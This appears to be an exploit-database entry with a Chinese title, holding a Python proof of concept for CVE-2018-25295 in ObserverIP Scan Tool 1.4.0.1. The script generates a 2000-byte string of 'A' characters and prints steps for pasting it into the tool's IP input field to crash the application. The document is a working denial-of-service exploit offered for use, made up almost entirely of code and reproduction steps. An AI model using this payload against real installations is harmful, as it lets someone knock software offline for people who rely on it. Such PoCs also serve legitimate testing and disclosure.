CVE-2018-25295 ObserverIP Scan Tool 拒绝服务漏洞

# PoC for CVE-2018-25295 # Description: Generates a payload to crash ObserverIP Scan Tool 1.4.0.1 # Usage: Copy the generated payload and paste it into the IP input field, then click Search. import sys def generate_payload(): # Create a buffer of 2000 bytes # The vulnerability is triggered by an excessively long string in the IP field buffer = 'A' * 2000 return buffer if __name__ == "__main__": payload = generate_payload() print(f"[*] Generating payload for CVE-2018-25295") print(f"[*] Payload Length: {len(payload)} bytes") print(f"[*] Payload: {payload}") print("\n[+] Steps to reproduce:") print("1. Open ObserverIP Scan Tool 1.4.0.1") print("2. Copy the payload above.") print("3. Paste the payload into the 'IP' input field.") print("4. Click 'Search' or trigger the scan operation.") print("5. Observe the application crash (Denial of Service).")